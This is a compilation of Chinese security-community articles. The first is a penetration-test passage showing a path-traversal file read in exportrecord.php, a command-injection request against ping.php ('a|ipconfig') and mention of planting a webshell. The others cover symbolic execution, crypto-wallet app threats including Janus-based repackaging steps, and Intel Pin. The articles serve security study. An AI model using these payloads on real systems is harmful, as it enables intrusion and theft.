/php/ (Status: 403)
/images/ (Status: 403)
/html/ (Status: 403)
/vendors/ (Status: 403)
/upload/ (Status: 403)
我们需要注意的为 js 与 php 目录下的文件，才可能存在突破口，首先爆破 js目录下的 js文件
获取后通过爬虫遍历 JS文件下载到本地翻阅，其中发现 /js/index.js 文件中有敏感信息，猜想可能是后门账号或者默认密码
拿着拿到的账号去登录一下试试
成功登录目标系统，用户为 administrator, 查看存在的用户发现这个可能是后门账户
# 漏洞挖掘
### 任意文件读取漏洞 (exportrecord.php)
目前我们以及获取到了目标的后台管理权限，且权限比较高，我们可以继续测试漏洞
之前爆破到了 php目录，猜测为功能性文件，我们可以通过 js文件中的信息获取一些文件名和接口信息
这里在 backup.js 文件中发现一个有关的下载接口
function downloadBak(index) {
var data = $('#backupList').bootstrapTable("getData");
if (index >= 0 && index < data.length) {
var downurl = '../php/exportrecord.php?downname=' + data[index].id;
window.open(downurl);
}
}
猜测 downname参数为文件名，测试能不能下载文件
/php/exportrecord.php?downname=exportrecord.php
这里得到了 /php/exportrecord.php 文件
传入downname参数，没有对 ../ 符号过滤，就导致跳目录读取文件
现在我们有了一个任意文件读取，我们再通过目录爆破获取更多的PHP文件源码
### 远程命令执行漏洞 (ping.php)
通过刚刚到目录爆破我们看到一个非常值得注意的文件 ping.php，设备中常见的网络联通性测试文件，也是设备中常见的漏洞点, 通过文件读取漏洞读取文件
function systemopr($type, $ip, $times=4){
$info = array();
if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){
//linux
if($type == "0"){
exec("ping -c $times $ip", $info);
}else if($type == "1"){
exec("traceroute -m $times -w 1 $ip", $info);
}else{
exec($ip, $info);
}
}else{
//windows
if($type == "0"){
exec("ping $ip -n $times", $info);
}else if($type == "1"){
exec("tracert -h $times -w 1000 $ip", $info);
}else{
exec($ip, $info);
}
}
return $info;
}
?>
这里可以看到这里接收的参数 jsondata数组中的 ip参数，用户可控造成命令拼接，而且通过 exec 执行，并且会
return到页面中，导致回显的RCE
POST /php/ping.php
jsondata[ip]=a|ipconfig&jsondata[type]=1
目标为Windows系统，测试写入phpinfo文件
写入免杀并流量加密的Webshell，尝试获取目标设备权限 | 社区文章 |
# 符号执行——从入门到上高速
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期在研究符号执行相关的技术。近年利用符号执行进行分析的论文在安全的顶会中出现较为频繁，因此，笔者在本文中将做一份总结和近期学习的知识分享。会由浅入深的从符号执行的基础讲起，再延伸到目前科技的最前沿，带领大家看看在符号技术利用方面，到底发展到什么程度的。
## 符号执行入门
那么什么是符号执行（symbolic
execution）技术呢？Wiki中的定义是：在计算机科学中，符号执行技术指的是通过程序分析的方法，确定哪些输入向量会对应导致程序的执行结果向量的方法。通俗的说，如果把一个程序比作DOTA英雄，英雄的最终属性值为程序的输出（包括攻击力、防御力、血槽、蓝槽），英雄的武器出装为程序的输入（出A杖还是BKB）。那么符号执行技术的任务就是，给定了一个英雄的最终属性值，分析出该英雄可以通过哪些出装方式达到这种最终属性值效果。（咚咚咚！LGD明年还会回来的！）
可以发现，符号执行技术是一种白盒的静态分析技术。即，分析程序可能的输入需要能够获取到目标源代码的支持。同时，它是静态的，因为并没有实际的执行程序本身，而是分析程序的执行路径。如果把上述英雄的最终属性值替换成程序形成的bug状态，比如，存在数组越界复制的状态，那么，我们就能够利用此技术挖掘漏洞的输入向量了。
这里再举一个简单的例子，让大家有深刻的理解。
以下面的源代码为例子：
int m=M, n=N, q=Q;
int x1=0,x2=0,x3=0;
if(m!=0)
{
x1=-2;
}
if(n<12)
{
if(!m && q)
{
x2=1;
}
x3=2;
}
assert(x1+x2+x3!=3)
上述代码是一个简单的c语言分支结构代码，它的输入是M,N,Q三个变量；输出是x1,x2,x3的三个变量的和。我们这里设置的条件是想看看什么样的输入向量<M,N,Q>的情况下，得到的三个输出变量的和等于3.
那么我们通过下面的树形结构来看看所有的情况：
上面的分析图把所有可能的情况都列举出来了，其中，叶子节点显示的数值表示当前输入情况下，可以得到的数值。（比如，如果英雄出装是M^(N<12)，那么最终的属性值R=0）。其中M^(N<12)表达的是，M是非零值且N要小于12，Q为任意值的情况下，得到R=0。可以发现，当条件为~M^(N<5)^Q时，得到了最终结果等于3.即，我们通过这种方式逆向发现了输入向量。如果把结果条件更改为漏洞条件，理论上也是能够进行漏洞挖掘了。
对于如何根据最终得到的结果求解输入向量，已经有很多现成的数学工具可以使用。上述问题其实可以规约成约束规划的求解问题（更详细的介绍看这里：[Constraint_programming](https://en.wikipedia.org/wiki/Constraint_programming)
）。比较著名的工具比如SMT（Satisfiability Modulo Theory，可满足性模理论）和SAT。
但是在实际的漏洞分析过程中，目标程序可能更加复杂，没有我们上面的例子这么简单。实际的程序中，可能包含了与外设交互的系统函数，而这些系统函数的输入输出并不会直接赋值到符号中，从而阻断了此类问题的求解。比如下面的这个包含了文件读写的例子：
int main(int argc, char* argv[])
{
FILE *fop = fopen("test.txt");
...
if(argc > 3)
{
fputs("Too many parameters, exit.", fop);
}
else
{
fputs("Ok, we will run normally.", fop);
}
...
output = fgets(..., fop);
assert(！strcmp(output, "Ok, we will run normally."));
return 0;
}
上述示例代码中，想要发现什么情况下会得到输出”Ok, we will run
normally.”这个字符串。通过一系列的执行到if语句，此时，根据输入的参数个数将会产生两个分支。分支语句中将执行系统的文件写操作。在传统的符号执行过程中，此类函数如果继续沿着系统函数的调用传递下去的话，符号数值的传递将会丢失。而在之后的output
= fgets(…,
fop);这行代码中，符号从外部获得的数值也将无法正常的赋值到output中。因此，符号执行无法求解上述问题，因为在调用系统函数与外设交互的时候，符号数值的赋值过程被截断了。
为了解决这个问题，最经典的项目就是基于LLVM的KLEE（[klee](https://github.com/klee/klee))它把一系列的与外设有关的系统函数给重新写了一下，使得符号数值的传递能够继续下去。从比较简化的角度来说，就是把上面的fputs函数修改成，字符串赋值到某个变量中，比如可以是上面的fop里面。再把fgets函数修改成从某个变量获取内容，比如可以是把fop的地址给output。这样，就能够把符号数值的传递给续上。当然，这里举的例子是比较简单的例子，实际在重写函数的时候，会要处理更复杂的情况。在KLEE中，它重新对40个系统调用进行了建模，比如open,
read, write, stat, lseek, ftruncate,
ioctl。感兴趣的读者可以进一步阅读他们发表在OSDI2008年的论文（[KLEE-OSDI08](llvm.org/pubs/2008-12-OSDI-KLEE.pdf))他们的文章深入浅出，非常适合学习。
## 符号执行上高速
近几年，由于物联网设备逐渐的大众化，嵌入式设备的漏洞挖掘需求更加显著。那么在嵌入式的环境下，使用符号执行技术挖掘漏洞可行吗？答案是肯定的。但，需要解决的问题除了类似于KLEE中出现的与外设交互的系统调用建模以外，还需要解决嵌入式设备中经常出现的混合代码情况。即，给出的嵌入式源代码中，有c语言代码、二进制代码（共享库）和汇编代码。面对这种情况应该如何启用符号执行呢？
我们来看看下面的基于ARMv7架构的一个例子，
unsigned char msg[] = "world";
int index;
void uart_send(unsigned char a)
{
__asm volatile("SVC #0");
__asm volatile("BX LR");
}
void os_uart_send(){...}
int main(int argc, char* argv[])
{
uart_send(msg[index++]);
return 0;
}
上述嵌入式代码有高级语言的C代码，以及还有ARMv7的汇编代码。嵌入式应用程序中写汇编代码的目的通常是为了使得程序的执行效率更高。该代码的主要作用是通过uart发送消息。函数uart_send()中，通过指令“SVC
#0”切换成SVC的寄存器模式之后，将实际上调用函数os_uart_send()发送消息。其中，uart_send函数的参数将直接在os_uart_send()函数中使用。上述代码，通过LLVM转换成LLVM-IR的形式，为下面的代码。
@msg = global [6xi8]c"world0"
@index = global i32 0
define void @uart_send(i8 zeroext) #0
{
entry:
call void asm sideeffect "SVC #0",""()
call void asm sideeffect "BX LR",""()
unreachable
}
define void @os_uart_send(){...}
define int @main() #1
{
entry:
%0 = load i32* @index
%inc = add nsw i32 %0, 1
store i32 %inc, i32* @index
%arrayidx = getelementptr inbounds [6xi8]* @msg, i32 0, i32 %0
%1 = load i8* %arrayidx
call void @uart_send(i8 zeroext %1)
ret i32 0
}
为什么要转换成LLVM-IR的代码呢。LLVM-IR是LLVM的一种中间的语言表达形式，也是一种汇编语言的形式。现有的KLEE工具就是LLVM-IR工具实现的符号执行虚拟机。在解释上面的代码之前，简单介绍几个LLVM-IR的基础语法，以便更清楚的理解。
LLVM-IR的变量有三种，通过前缀@或者%的形式区分，其中@表示全局变量，%表示局部变量：
1. %或者@接数字，表示的是临时变量，在一个函数中，从0开始编号使用。比如%0，%1，。。
2. %或者@接字符串，表示有名字的变量，可以任意使用；
3. 第三类就是立即数
@msg = global [6xi8]c"world0"
@index = global i32 0
上述代码初始化了全局变量msg和index。
entry:
%0 = load i32* @index
%inc = add nsw i32 %0, 1
store i32 %inc, i32* @index
上述代码中，i32表示是32位的类型，i32 _表示的指向i32类型的指针类型。%0 = load i32_
[@index](https://github.com/index "@index")表示将全局变量index的值赋值给局部变量%0. Add
nsw是有符号的相加。再加完之后，又把数值存储回了全局变量index。
%arrayidx = getelementptr inbounds [6xi8]* @msg, i32 0, i32 %0
%1 = load i8* %arrayidx
call void @uart_send(i8 zeroext %1)
上述代码中，[6xi8] 这种形式表示的是数组类型，这里就是含有6个8位的元素的数组。Getelementptr
inbounds即使获得数组对应元素的指针。之后利用语句%1 = load i8*
%arrayidx获取指针指向的8位的值，在传入到函数uart_send中执行。
可以发现，如果按照已有的KLEE方法，在转换成LLVM-IR代码之后，由于代码中含有arm架构的汇编，而该arm代码中没有明显的调用参数的代码和方式，使得符号数值的传递再次中断，导致KLEE方法不能执行。因此，我们需要对上述含有混合LLVM-IR代码的内存进行再次转化，使得含有低级语意的arm汇编也能够被KLEE的符号执行虚拟机分析。
最近在安全顶会USENIX
Security18上发表的论文Inception，正是完成了上面的这件事情。它通过程序分析的方式，将混合油高级语言和低级语言的代码同时转化成KLEE能够分析的语言，从而执行符号执行的分析。根据Inception里面的思想，上述LLVM-IR转化之后，可以有下面的表达形式：
@msg = global [6xi8]c"world0"
@index = global i32 0
; stack is stored in global variables
@R0 = global i32 0, align 4
@SP = global i32 0, align 4
@_SVC_fe = global i32 0, align 4
@LR = global i32 0, align 4
@.stack = global [8202xi4] zeroinitializer
define void @uart_send(i8) #0
{
; pass the parameters from high level to the low level.
entry:
%1 = zext i8 %0 to i32
store i32 %1, i32* @R0
br label %"uart_send+0" ; jmp to the actual code
"uart_send+0":
%SP1 = load i32* @SP ; load the stack pointer
store i32 0, iew* @_SVC_fe
store i32 268436580, i32* @PC ; store pointer execution
call void (...)* @_sv_call()
call void (...)* os_uart_send() ; invoke uart send function and using the value from the R0
%LR1 = load i32* @LR1 ;load return address
ret void
}
define void @os_uart_send(){...}
define int @main() #1
{
entry:
%0 = load i32* @index
%inc = add nsw i32 %0, 1
store i32 %inc, i32* @index
%arrayidx = getelementptr inbounds [6xi8]* @msg, i32 0, i32 %0
%1 = load i8* %arrayidx
call void @uart_send(i8 zeroext %1)
ret i32 0
}
可以发现，相比于之前的LLVM-IR。函数uart_send中多了一部分内容。
; stack is stored in global variables
@R0 = global i32 0, align 4
@SP = global i32 0, align 4
@_SVC_fe = global i32 0, align 4
@LR = global i32 0, align 4
@.stack = global [8202xi4] zeroinitializer
这部分代码对于arm汇编中只用的寄存器架构搬移了出来，并且声明成了全局变量的形式，之后，arm在寄存器和栈中的操作，都会转化成在上述全局变量中的操作。
entry:
%1 = zext i8 %0 to i32
store i32 %1, i32* @R0
br label %"uart_send+0" ; jmp to the actual code
上述代码的主要功能是讲参数msg[i++]获得的值传递给寄存器R0中，这种显示的表达，将使得符号的数值传递串联起来。%1 = zext i8 %0 to
i32表示将参数i8转化成i32。store i32 %1, i32* [@R0](https://github.com/R0
"@R0")表示将转化后的内容%1存储到寄存器R0中。Br是条件跳转语句，在这里，br将执行无条件跳转到”uart_send+0”中。
"uart_send+0":
%SP1 = load i32* @SP ; load the stack pointer
store i32 0, iew* @_SVC_fe
store i32 268436580, i32* @PC ; store pointer execution
call void (...)* @_sv_call()
上述代码主要为转换arm的寄存器模式为SVC模式。
call void (...)* os_uart_send() ; invoke uart send function and using the value from the R0
%LR1 = load i32* @LR1 ;load return address
上述内容则调用了函数os_uart_send，并使用了参数R0。因此，完成了符号数值的传递。上述寄存器的赋值，以及该系统函数的调用，可以转化成语意为调用了R0参数的函数调用。Arm的函数调用规范见[ABI](http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042f/IHI0042F_aapcs.pdf)
更详细的arm指令可以参考[arm](http://infocenter.arm.com/help/topic/com.arm.doc.dui0489i/DUI0489I_arm_assembler_reference.pdf)
LLVM-IR的参考可以见[LLVM-IR](http://llvm.org/docs/LangRef.html#introduction)
Inception项目的安装可以基于docker，使得操作更加简单了[Inception-docker-install](https://github.com/Inception-framework/docker)
## 总结
总体来说，现有的符号执行工具，在开源方面，主要还是基于KLEE项目的。可见对于KLEE项目的深入理解，将有助于我们打造更加高效的工具。有了高效的工具，就能够使得我们一边学习理论，一遍验证，从而走上高速公路。Inception工具是就ARM架构，而对于路由器中常使用的MIPS架构，就笔者现在所知，现在还尚未有类似的符号执行工具发布（如果已经由类似工具，欢迎读者留言）。其中，基于IDA的脚本工具bugscam，经过揭秘路由器0DAY漏洞的作者修改之后，也能够支持分析MIPS架构的漏洞了。然而，其误报率非常之高，笔者在使用了之后，发现该工具报告的漏洞基本都不可用。因此，如何基于上述符号执行的思想，结合IDA工具中强大的反汇编能力，开发也具有符号执行功能的MIPS架构漏洞分析工具，相信也是非常有价值的。由于时间仓促，笔者对于一些部分的理解难免有误，望各位读者见谅以及不吝赐教。感谢。 | 社区文章 |
# 360 | 数字货币钱包APP安全威胁概况
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#
**传送门** ：[360 | 数字货币钱包安全白皮书](https://www.anquanke.com/post/id/146233)
## 前言
随着区块链技术的普及，各种数字货币得到了很大发展，官方货币会发布自己的钱包APP，如Bitcoin
Core、Parity，第三方数字货币钱包为了进一步提升用户体验，同样开发出了如比特派，imToken，AToken等钱包APP，随着他们出现在市场上，黑客也瞄准了这块。
2017年，智能合约公司Parity开发的数字货币钱包所使用的多重签名技术被黑客发现存在漏洞，并导致15.3万枚以太币被盗，损失高达价值3260万美元。
2018年，技术处于全球领先的硬件数字货币钱包制造商Ledger在完成7500万美元的B轮融资后被爆出钱包设计存在缺陷，黑客可通过恶意软件篡改钱包地址，并将数字货币转给黑客。
2018年Bitcoin Wallet被爆出不正确的私钥存储，容易被黑客获取到私钥并还原出用户助记词。
为了更准确地了解钱包APP的安全现状，近期，我们对应用市场上流通的热钱包以及冷钱包进行了相关安全审核评估，发现了很多安全问题，在此整理成相关文档发布，帮助钱包APP厂商和用户了解周知其中存在的安全风险，引起大家对安全的重视并且及时自查，避免受到损失。
## 数字货币钱包安全威胁
一个数字货币钱包的使用，是包含了从软件启动到进行交易的一套完整的过程，其中会涉及到非常多的业务场景，从传统软件APP的功能如核心代码未加密，软件自身无校验，中间人数据劫持等，在钱包APP的业务场景下则会将危害放大，导致用户的钱财受到损失。同时针对钱包APP的独有业务场景，如助记词的不安全保存，交易密码设置弱口令，货币价格走势数据被替换等也将会给用户在使用钱包的安全上造成很大的危害，以下为我们整理发现的top5的安全风险。
### 1\. 助记词、交易密码泄露
比特派为比特币官方推荐的一支第三方团队比太开发的钱包应用，目前在Google Play上安装量达到10000+。
我们在非Root环境下，对其进行录屏测试，发现在助记词生成阶段无法录屏，但在导入钱包时，可以录下界面，此处可以导致助记词泄露从而造成数字货币账户被盗，同时，我们发现在输入交易密码时同样存在可录屏漏洞，通过观察按键按下顺序即可推出交易密码。
在钱包业务场景下，需要对相关敏感信息输入页面做防截屏措施，采用相关保护如对当前Activity页面加入属性WindowManager.LayoutParams.FLAG_SECURE，使得第三方程序在截屏时直接显示黑屏，无法记录。
### 2.不安全的钱包APP运行环境
数字货币钱包APP的一个安全重点就是运行环境，安卓是一个非常庞大而且复杂的系统，我们在实际进行分析测试的时候，发现将近四分之三的APP都未对相关环境做过检测，能够直接对APP进行逆向调试，HOOK注入，来分析APP的执行流程与动态分析加解密算法过程。我们发现，近八成的钱包APP未对运行环境安全做安全检测，无法保证用户运行APP的环境安全，导致用户钱财受到损失。
如上图360发布的中国手机安全状况报告中，我们可以看到目前安卓手机存在的漏洞非常多，导致APP运行在上面也会有很多安全风险，比如以下几点。
1. 手机漏洞的扫描
如果一个手机存在已经披露过的系统漏洞，那么就时刻处于被黑客攻击的风险之下，如果存在可提权或者可以获取到助记词等敏感数据的漏洞，那么用户账户就会暴露在一个极其危险的环境下，所以我们建议加上对已知安卓系统漏洞的检测。
2. Root环境检测
安卓实行沙箱机制，如果设备未Root，在沙箱的保护下，其他应用并不能获取本应用的数据，如果设备已Root，我们无法保证运行时的环境的安全性，助记词等极其重要的数据很有可能被恶意应用获取到。
3. APP完整性检测
APP完整性指的是自身是否被篡改，通常可以通过签名校验来实现，防止用户使用被重打包后的应用。
4. 网络代理检测
如果当前网络使用的是代理，那么就有可能在数据交互的过程中被第三方监听，造成数据的泄露甚至是敏感数据泄露。
对以上提到的几个关键点，我们分别在不同的环境下进行模拟攻击，发现近八成APP未对此做安全防护措施，我们可以利用安卓系统漏洞，软件自身漏洞等进行攻击测试。同时近一年来，挖矿木马，钱包APP劫持木马也开始大量出现，使很多用户直接受到财产损失，所以建议钱包厂商一定要对此问题重视，并且使用相关漏洞缓解措施。
### 3\. 交易密码被暴力猜解
大部分的数字货币钱包在第一次运行时会提示用户是否创建新钱包，当用户创建新钱包后，数字货币钱包会通过一系列算法生成一个私钥，正常情况下该私钥并不会展示给用户，而是会通过助记词的形式提示用户进行钱包的备份操作，如下是某款数字货币钱包的助记词界面，该算法有一套业界标准，通过助记词可以推导出私钥，再由私钥推导出其它数据。
在钱包初始化完后，会提示用户输入一个交易密钥，该交易密钥用于交易之前的私钥解密推导，当发生交易时，通过输入的交易密钥结合算法进行私钥的计算，生成的私钥用于交易的签名，如果数字货币钱包的交易密码设置不够强，非常容易被暴力破解，当交易密钥被暴力破解，整个钱包相当于处于没有任何防护的状态，任何人都可以对钱包进行操作，包括转账等。
如下为某未使用复杂口令的数字货币钱包，直接使用六位数字当作交易密码，且没有设置尝试次数，可以直接被暴力破解出来，进行交易。
建议在APP开发过程中，对于用户输入的交易密码进行弱口令的检测，同时加上字母或特殊符号来增加复杂程度，保障口令安全。
### 4.钱包APP伪造漏洞
钱包APP被黑客逆向后加入恶意代码，回传敏感信息如助记词，修改交易收款方地址等，对用户会造成直接钱财损失。所以在使用钱包的时候，一定需要在官方渠道进行下载，同时APP本身如果对软件完整性未做严格的校验，同样可以导致相关事件发生。
在2017年底出现的Janus签名漏洞可以直接应用在此场景下，在修改安卓应用后，利用Janus漏洞对其进行特殊处理，可以绕过安卓系统的签名校验对原应用进行更新操作。安卓系统一直以来都是使用V1签名校验，当系统已经安装了一个应用，当对其更行时，会校验是否是同一个签名，而在签名校验的过程中，系统会默认读取的是一个ZIP文件，并且直接从更新包的尾部进行读取数据，当执行更新文件的时候，是从头部开始读取，如果是Dex就直接执行操作，那么我们就可以获取到最新版本的数字货币钱包安装包做如下修改：
1. 取出Dex文件，植入恶意代码
2. 原安装包拼接到修改后的Dex后面
3. 对拼接后的Dex文件做文件头修复操作
那么当更新的时候，从尾部读取数据，读到的是原APK，可以通过系统对其进行的签名校验，当执行的时候，读取的是我们插入恶意代码后的Dex文件，如果数字货币钱包被修改，植入恶意代码，比如将转账的地址全部替换成攻击者的收款地址，如果用户使用伪造的数字货币钱包进行更新并且进行转账操作，会造成不可估量的损失和后果。
在我们的分析过程中，发现部分数字货币钱包依旧使用V1签名，我们进行模拟攻击，生成加入恶意代码的APP。
虽然谷歌在收到漏洞后就对其做了补丁，但是并非所有手机厂商会及时推送补丁给用户，建议使用V1+V2签名的方式对发布的应用签名，可以抵抗APP伪造漏洞的攻击。
### 5\. 核心功能代码未加固
安卓应用由于其使用Java语言开发，在未使用加固的情况下十分容易被反编译出近似源码的效果。
而其使用的Smali语言也相对容易掌握，所以在不加固的情况下，数字货币钱包十分容易被重打包，重打包的效果如上面提到的伪造漏洞一样，给用户使用上造成直接的损失。同时，关键信息的泄露也会让黑客更加容易分析代码逻辑，将于助记词使用相关的算法进行提取，逆向分析出加解密流程，利用其它漏洞进行盗取助记词等信息。
建议采用加固方案对钱包APP中关键功能代码进行加固处理，防止被黑客进行逆向分析，提高安全性。
### 6\. 钱包敏感信息不正确存储
我们知道，在数字货币世界中，最关键的就是私钥，那么对于用户，数字货币钱包最关键的就是助记词，有了助记词我们可以推导出私钥。所以，如果数字货币钱包对助记词或者私钥进行了不恰当的本地存储，将会是一个非常高危的风险。我们在分析一款钱包的时候，发现钱包APP会自动为当前客户端创建一个钱包，该钱包使用错误的方式保存在了本地，使得在Root设备上攻击者可以对该钱包文件进行解码并获取用户的助记词，钱包私钥等钱包数据，如下图是我们的模拟攻击过程，其中对随机生成的助记词进行了部分打码。
我们在逆向后，编写相关代码进行数据解密恢复：
建议在开发过程中，对待本地保存数据一定要做好加密处理，防止数据泄露，直接对用户的钱财造成损失。
### 7\. 网络数据交互被劫持篡改
当用户通过数字货币钱包进行交易，是否使用合适的加密算法对交易数据进行加密是衡量网络连接安全很重要的一个维度，不仅仅需要注意其是否对数据进行加密，还要注意是否将助记词，私钥等数据传输回服务器，当助记词等数据被传输回服务器，相当于除用户之外，还有其他人知道用户自己的助记词，当存储助记词的服务器被黑客入侵，极有可能导致账户被盗。
另外当钱包存在交易功能之后，对于当前货币价格的展示，在网络数据交互过程中可以进行劫持篡改数据，如下图我们修改的BTC，ETH和XRP的实时价格，展示到用户手机上。
这样，对用户展示页面也就是黑客希望用户看到的货币价格，间接地诱导用户对该货币进行交易，炒作某一货币的兑换价值，在短时间内的大量买卖，间接控制相关价格了。
在此过程，建议厂商对网络交互数据采用严格校验，如使用https，则对证书信息进行强校验，防止数据在传输过程被篡改。
## 总结
现阶段，市面上有大量良莠不齐的数字货币钱包存在，而不少开发团队在以业务优先的原则下，暂时对自身钱包产品的安全性并未做到足够的防护，一旦出现安全性问题会导致大量用户出现账户货币被盗，而由于数字货币实现的特殊性，被盗资产非常难以追回。
希望钱包厂商可以更加在业务功能上更加注重安全，一方面保护厂商利益不受损失，另一方面也保护用户钱财不受损失，关于此文档中我们针对钱包厂商安全审计的相关技术点，已发布相关数字货币钱包安全白皮书文档供大家参考。
## 团队介绍
360威派克团队（Vulpecker Team）隶属于360信息安全部,
360信息安全部致力于保护内部安全和业务安全，抵御外部恶意网络攻击，并逐步形成了一套自己的安全防御体系，积累了丰富的安全运营和对突发安全事件应急处理经验，建立起了完善的安全应急响应系统，对安全威胁做到早发现，早解决，为安全保驾护航。技术能力处于业内领先水平，培养出了较多明星安全团队及研究员，研究成果多次受国内外厂商官方致谢，如微软、谷歌、苹果等，多次受邀参加国内外安全大会议题演讲。目前主要研究方向有区块链安全、WEB安全、移动安全（Android、iOS）、网络安全、云安全、IOT安全、等多个方向，基本覆盖互联网安全主要领域。
**附录：**
360数字货币钱包安全白皮书地址：
<https://www.anquanke.com/post/id/146233>
区块链生态安全解决方案，了解更多请点击——360区块链安全：<https://bcsec.360.cn/> | 社区文章 |
**作者： 深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/K4icyU6tmZYMrvgNL_jYDw>**
使用的Pin版本：3.20
## **_1\. 简介_**
Pin 是一个动态二进制插桩工具，支持 Linux， macOS 和 Windows
操作系统以及可执行程序。Pin可以通过pintools在程序运行期间动态地向可执行文件的任意位置插入任意代码（C/C++），也可以attach到一个正在运行的进程。
Pin 提供了丰富的
API，可以抽象出底层指令集特性，并允许将进程的寄存器数据等的上下文信息作为参数传递给注入的代码。Pin会自动存储和重置被注入代码覆盖的寄存器，以恢复程序的继续运行。对符号和调试信息也可以设置访问权限。
Pin内置了大量的样例插桩工具的源码，包括基本块分析其、缓存模拟器、指令跟踪生成器等，根据自己的实际需求进行自定义开发也十分方便。
## **_2\. 使用Pin进行插桩_**
### **_1\. Pin_**
对 Pin 的一个最合适的理解是可以将 Pin 当作一个 JIT 编译器，只是它的输入不是字节码，而是可执行文件。Pin
会拦截可执行文件的第一条指令，然后对从该指令开始的后续的指令序列重新“compile”新的代码，然后控制权限转移到新生成的代码。生成的代码与原始代码几乎一致，但是
Pin 会保证在分支退出代码序列时重新获得控制权限。重新获得控制权后，Pin 会基于分支生成更多的代码，然后继续运行。Pin
将所有生成的代码都保存在内存中，这样可以实现代码重用。
在这种 JIT 模式下，执行的是生成的代码，原始代码仅作为参考。当生成代码时，Pin 会给到用户注入自己想执行的代码（插桩）的机会。
Pin 对所有实际执行的代码进行插桩，不管代码具体处于哪个 section 。虽然对于一些条件分支会存在异常，但是如果指令没有被执行过，就一定不会被插桩。
Pin的完整架构如下：
Pin工作在操作系统之上，所以只能捕获用户级别的指令。在一个经过插桩的程序运行时，同时有3个程序运行：应用程序本身、Pin、Pintool。Pin是对应用程序进行插桩的引擎，Pintool中包含了插桩的指令，可以看作是Pin的一个library。三者共享同一个地址空间，但不共享库，避免了冲突。
### **_2\. Pintools_**
在概念上，插桩主要包含两部分内容：
* 插桩机制（instrumentation code）
在什么位置插入什么样的代码
* 分析代码（analysis code）
在插桩点执行的代码
这两部分内容都通过 Pintool 这个可执行文件来实现。Pintool 可以看作是 Pin 中可以实现修改代码生成过程的插件。
Pintool 会向 Pin 注册插桩回调例程，每当需要生成新代码时， Pin
会调用这些回调例程。回调例程承担了检测插桩内容的作用，它会检查要生成的代码，检查其静态属性，并决定是否以及在何处注入对分析函数的调用。
分析功能收集有关应用程序的数据。Pin 确保根据需要保存和恢复整数和浮点寄存器状态，并允许将参数传递给函数。
Pintool 还可以为诸如线程创建或 fork 之类的事件注册通知回调例程，这些回调通常用于收集数据或工具初始化和清理。
因为 Pintool 采用的是类似插件的工作机制，所以必须运行在和 Pin 及插桩的可执行文件相同的地址空间内，所以 Pintool
可以访问可执行文件的全部数据，还会与可执行文件共享 fd 和其他进程信息。
在 Pintool 的开发过程中，分析代码的调优比插桩代码更重要，因为插桩代码只执行一次，但是分析代码会调用很多次。
### **_3\. 插桩粒度_**
#### _1\. trace instrumentation_
在一个代码序列第一次执行前进行插桩，这种粒度的插桩称为“trace instrumentation”。在这种模式下，Pintool
一次“trace”执行一次检查和插桩，“trace”是指从一个 branch 开始，以一个无条件跳转 branch 结束，包含 call 和 return。
Pin 会保证每个 trace 只有一个顶部入口，但是可能包含多个出口。如果一个分支连接到了一个 trace 的中间位置，Pin
会生成一个以该分支作为开始的新的 trace 。Pin 将 trace 切分成了基本块，每个基本块称为“BBL”，每个 BBL
是一个单一入口、单一出口的指令序列。如果有分支连接到了 BBL 的中间位置，会定义一个新的 BBL 。通常以 BBL
为单位插入分析调用，而不是对每个指令都插入，这样可以降低分析调用的性能消耗。trace instrumentation 通过
TRACE_AddInstrumentFunction API 调用。
因为 Pin 是在程序执行时动态发现程序的执行流，所以 BBL 的概念与传统的基本块的概念有所不同，说明如下：
swtich(i){
case 4: total++;
case 3: total++;
case 2: total++;
case 1: total++;
case 0:
default: break;
}
在 IA-32 架构下，会生成如下类似的指令：
.L7:
addl $1, -4(%ebp)
.L6:
addl $1, -4(%ebp)
.L5:
addl $1, -4(%ebp)
.L4:
addl $1, -4(%ebp)
传统基本块的计算方式是会把每个 addl 指令作为一个单独的指令基本块，但是对于 Pin 来说，随着执行不同的 switch cases，Pin 会在
.L7 作为入口（从 .L7 依次向下执行）的时候生成包含所有4个指令的 BBL，在 .L6 输入的时候生成包含3个指令的 BBL，依此类推。所以，在
Pin 的统计方式里，如果代码分支走到了 .L7 ，只会计算一个 Pin BBL，但是4个传统概念上的基本块都被执行了。
Pin 在遇到一些特殊指令的时候会直接作为 trace 的结束位置，生成一个 BBL， 比如 cpuid, popf 以及 REP 为前缀的指令。REP
为前缀的指令都被当作隐式循环处理，在处理完第一次的迭代后，后面的每次迭代都作为一个单独的 BBL ，因此这种情况下，会看到比传统基本块统计方式统计出更多的
BBL。
#### _2\. instruction instrumentation_
Pintool 会在可执行文件的每条指令都进行插桩，这种模式使得开发者不必过多关注 trace 内部的迭代循环指令，因为如上面所说，包含循环的 trace
内部的特定的 BBL 和指令可能产生多次。instruction instrumentation 通过 `INS_AddInstrumentFunction
API`进行调用。
#### _3\. image instrumentation_
通过“caching”插桩请求实现，会有额外的内存空间要求，属于一种“提前插桩”。image instrumentation 模式下，Pintool
在`IMG:Image Object`第一次加载时，对整个 imgaes 进行检查和插桩， Pintool 可以遍历 image 的
`sections：SEC:Section Object`，可以是 section 中的 routine：`RTN:Routine`，还可以是一个
routine 中的 instructions：INS。插入位置可以是例程或指令的前面或后面，都可以实现，使用的 API 为
**IMG_AddInstrumentFunction** 。
image instrumentation 需要有调试信息来确定 routine 的边界，所以在调用 PIN_Init 之前，需要先初始化符号信息
PIN_InitSysmbols。
#### _4\. routine instrumentation_
通过“caching”插桩请求实现，会有额外的内存空间要求，属于一种“提前插桩”。routine instrumentation 模式下，Pintool 在
image 首次加载时就对整个 routine 进行检查和插桩，对 routine 中的每条指令都可以插桩，但是没有充分的信息可以将指令划分为
BBL。插入位置可以是执行例程或指令的前后。这种模式其实更大程度上属于 image instrumentation 的替代方法，使用的 API
为`RTN_AddInstrumentFunction`。
需要注意的是，在 image 和 routine instrumentation 模式下，插桩时并不确定 routine 是否会被执行，但是通过识别
routine 的开始指令，可以遍历出执行过的 routine 的指令。
### **_4\. 符号_**
Pin 通过symbol object 来访问函数名， 但是 symbol
对象只能提供程序中的函数符号相关的信息，对于数据符号之类的信息必须通过其他工具获取。
Windows下，可以通过`dbghelp.dll`文件获取，但是可能出现死锁问题；Linux下可以通过 `libelf.so`或`libdwarf.so`
文件获取符号信息。
